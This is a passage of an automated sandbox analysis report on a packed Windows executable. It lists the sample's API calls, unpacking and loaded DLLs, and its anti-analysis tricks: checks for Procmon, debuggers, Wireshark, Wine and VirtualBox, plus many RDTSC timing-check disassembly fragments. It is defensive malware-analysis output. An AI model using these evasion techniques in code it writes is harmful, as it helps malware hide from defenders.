Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_003D29FF FindFirstFileA,RegOpenKeyExA,CharUpperA,CreateToolhelp32Snapshot,QueryFullProcessImageNameA,CloseHandle,CreateToolhelp32Snapshot,CloseHandle,1_2_003D29FF
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeMutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: Prs9eAnu2k.exeVirustotal: Detection: 48%
Source: Prs9eAnu2k.exeString found in binary or memory: Unable to complete request for channel-process-startup
Source: Prs9eAnu2k.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: windowscodecs.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeSection loaded: kernel.appcore.dllJump to behavior
Source: Prs9eAnu2k.exeStatic file information: File size 4444672 > 1048576
Source: Prs9eAnu2k.exeStatic PE information: Raw size of is bigger than: 0x100000 < 0x289a00
Source: Prs9eAnu2k.exeStatic PE information: Raw size of habslsfa is bigger than: 0x100000 < 0x1afc00

Data Obfuscation

barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeUnpacked PE file: 1.2.Prs9eAnu2k.exe.3d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;habslsfa:EW;xrpgpkiv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;habslsfa:EW;xrpgpkiv:EW;.taggant:EW;
Source: initial sampleStatic PE information: section where entry point is pointing to: .taggant
Source: Prs9eAnu2k.exeStatic PE information: real checksum: 0x441ce7 should be: 0x4464d8
Source: Prs9eAnu2k.exeStatic PE information: section name:
Source: Prs9eAnu2k.exeStatic PE information: section name: .idata
Source: Prs9eAnu2k.exeStatic PE information: section name:
Source: Prs9eAnu2k.exeStatic PE information: section name: habslsfa
Source: Prs9eAnu2k.exeStatic PE information: section name: xrpgpkiv
Source: Prs9eAnu2k.exeStatic PE information: section name: .taggant
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015D42E1 push ebp; retf 1_3_015D42E2
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015E1600 pushad ; ret 1_3_015E1601
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015E1600 pushad ; ret 1_3_015E1601
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015E1600 pushad ; ret 1_3_015E1601
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015D6329 push ecx; ret 1_3_015D632A
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015D6329 push ecx; ret 1_3_015D632A
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015D4B21 push esp; ret 1_3_015D4B22
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015D42E1 push ebp; retf 1_3_015D42E2
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015E1600 pushad ; ret 1_3_015E1601
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015E1600 pushad ; ret 1_3_015E1601
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015E1600 pushad ; ret 1_3_015E1601
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015D6329 push ecx; ret 1_3_015D632A
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015D6329 push ecx; ret 1_3_015D632A
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015D4B21 push esp; ret 1_3_015D4B22
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015D42E1 push ebp; retf 1_3_015D42E2
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015E1600 pushad ; ret 1_3_015E1601
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015E1600 pushad ; ret 1_3_015E1601
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015E1600 pushad ; ret 1_3_015E1601
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015D6329 push ecx; ret 1_3_015D632A
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015D6329 push ecx; ret 1_3_015D632A
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_3_015D4B21 push esp; ret 1_3_015D4B22
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_007541D0 push eax; mov dword ptr [esp], edx1_2_007541D5
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_00452340 push eax; mov dword ptr [esp], 00000000h1_2_00452343
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_0048C7F0 push eax; mov dword ptr [esp], 00000000h1_2_0048C743
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_00410AC0 push eax; mov dword ptr [esp], 00000000h1_2_00410AC4
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_00431430 push eax; mov dword ptr [esp], 00000000h1_2_00431433
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_004539A0 push eax; mov dword ptr [esp], 00000000h1_2_004539A3
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_0042DAD0 push eax; mov dword ptr [esp], edx1_2_0042DAD1
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeCode function: 1_2_00759F40 push dword ptr [eax+04h]; ret 1_2_00759F6F
Source: Prs9eAnu2k.exeStatic PE information: section name: habslsfa entropy: 7.95460581651071

Boot Survival

barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeWindow searched: window name: FilemonClassJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeWindow searched: window name: RegmonClassJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeWindow searched: window name: FilemonClassJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeWindow searched: window name: RegmonclassJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeWindow searched: window name: FilemonclassJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeWindow searched: window name: RegmonclassJump to behavior

Malware Analysis System Evasion

barindex
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: Prs9eAnu2k.exe, 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: PROCMON.EXE
Source: Prs9eAnu2k.exe, 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: X64DBG.EXE
Source: Prs9eAnu2k.exe, 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: WINDBG.EXE
Source: Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\*RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX*.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: Prs9eAnu2k.exe, 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmp, Prs9eAnu2k.exe, 00000001.00000003.2528432022.0000000007067000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: WIRESHARK.EXE
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: ADA156 second address: AD99AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c clc 0x0000000d push dword ptr [ebp+122D16D9h] 0x00000013 pushad 0x00000014 sbb dx, 9A20h 0x00000019 mov dword ptr [ebp+122D1B84h], eax 0x0000001f popad 0x00000020 xor dword ptr [ebp+122D2695h], edi 0x00000026 call dword ptr [ebp+122D1B7Ch] 0x0000002c pushad 0x0000002d mov dword ptr [ebp+122D1B4Ah], esi 0x00000033 xor eax, eax 0x00000035 jnc 00007F82B4B869D9h 0x0000003b mov edx, dword ptr [esp+28h] 0x0000003f mov dword ptr [ebp+122D1C29h], edi 0x00000045 mov dword ptr [ebp+122D275Ch], eax 0x0000004b jmp 00007F82B4B869D2h 0x00000050 js 00007F82B4B869D0h 0x00000056 jmp 00007F82B4B869CAh 0x0000005b mov esi, 0000003Ch 0x00000060 cld 0x00000061 add esi, dword ptr [esp+24h] 0x00000065 jmp 00007F82B4B869D1h 0x0000006a jmp 00007F82B4B869D9h 0x0000006f lodsw 0x00000071 ja 00007F82B4B869CEh 0x00000077 add eax, dword ptr [esp+24h] 0x0000007b jc 00007F82B4B869CCh 0x00000081 mov dword ptr [ebp+122D1C60h], ecx 0x00000087 mov ebx, dword ptr [esp+24h] 0x0000008b jmp 00007F82B4B869CBh 0x00000090 push eax 0x00000091 pushad 0x00000092 push eax 0x00000093 push edx 0x00000094 jnp 00007F82B4B869C6h 0x0000009a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: AD99AB second address: AD99B9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F82B53DDA06h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C518A2 second address: C518A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C581D1 second address: C581D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C581D7 second address: C581E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F82B4B869CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C581E9 second address: C581F6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C581F6 second address: C58205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 jng 00007F82B4B869C6h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C58365 second address: C58379 instructions: 0x00000000 rdtsc 0x00000002 je 00007F82B53DDA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007F82B53DDA0Ah 0x00000010 push edx 0x00000011 pop edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C584B2 second address: C584B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C5876A second address: C5876F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C5876F second address: C58792 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C58792 second address: C587A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C587A5 second address: C587CF instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F82B4B869DEh 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c je 00007F82B4B869C6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C5AC94 second address: C5ACAA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F82B53DDA0Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C5ACAA second address: C5ACAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C5ACAE second address: C5AD1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 js 00007F82B53DDA1Eh 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push esi 0x00000014 jl 00007F82B53DDA0Ch 0x0000001a pop esi 0x0000001b pop eax 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007F82B53DDA08h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 00000018h 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 lea ebx, dword ptr [ebp+12454A2Dh] 0x0000003c movsx esi, ax 0x0000003f push eax 0x00000040 jl 00007F82B53DDA10h 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C5AED7 second address: C5AEDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C7B1F0 second address: C7B1FA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F82B53DDA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C7B1FA second address: C7B228 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F82B4B869C6h 0x00000009 jno 00007F82B4B869C6h 0x0000000f jmp 00007F82B4B869D6h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jns 00007F82B4B869C6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C53341 second address: C5334E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F82B53DDA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C5334E second address: C53354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C7947C second address: C79480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C79480 second address: C79486 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C795BE second address: C795C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C795C4 second address: C795C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C79752 second address: C79758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C79758 second address: C7975C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C7988C second address: C79898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C79B52 second address: C79B58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C79B58 second address: C79B5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C79B5E second address: C79B62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C79B62 second address: C79B78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jl 00007F82B53DDA08h 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C79CB7 second address: C79CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C79CBF second address: C79D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F82B53DDA0Eh 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F82B53DDA16h 0x00000012 jnl 00007F82B53DDA16h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C79D01 second address: C79D07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C79E5B second address: C79E73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F82B53DDA0Dh 0x00000008 jl 00007F82B53DDA06h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C79E73 second address: C79E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C79FC0 second address: C79FC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C79FC5 second address: C7A001 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F82B4B869CAh 0x00000008 jmp 00007F82B4B869D3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F82B4B869D6h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C7A001 second address: C7A022 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F82B53DDA16h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C7A280 second address: C7A288 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C7A288 second address: C7A294 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F82B53DDA06h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C7A3FF second address: C7A403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C7A403 second address: C7A407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C7A407 second address: C7A415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F82B4B869CCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C7A415 second address: C7A421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C7A421 second address: C7A426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C7AD7B second address: C7AD81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C7AD81 second address: C7AD87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C7AD87 second address: C7AD8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C7AD8C second address: C7ADA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F82B4B869C6h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c jg 00007F82B4B869CCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C807C2 second address: C807D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F82B53DDA10h 0x00000009 rdtsc
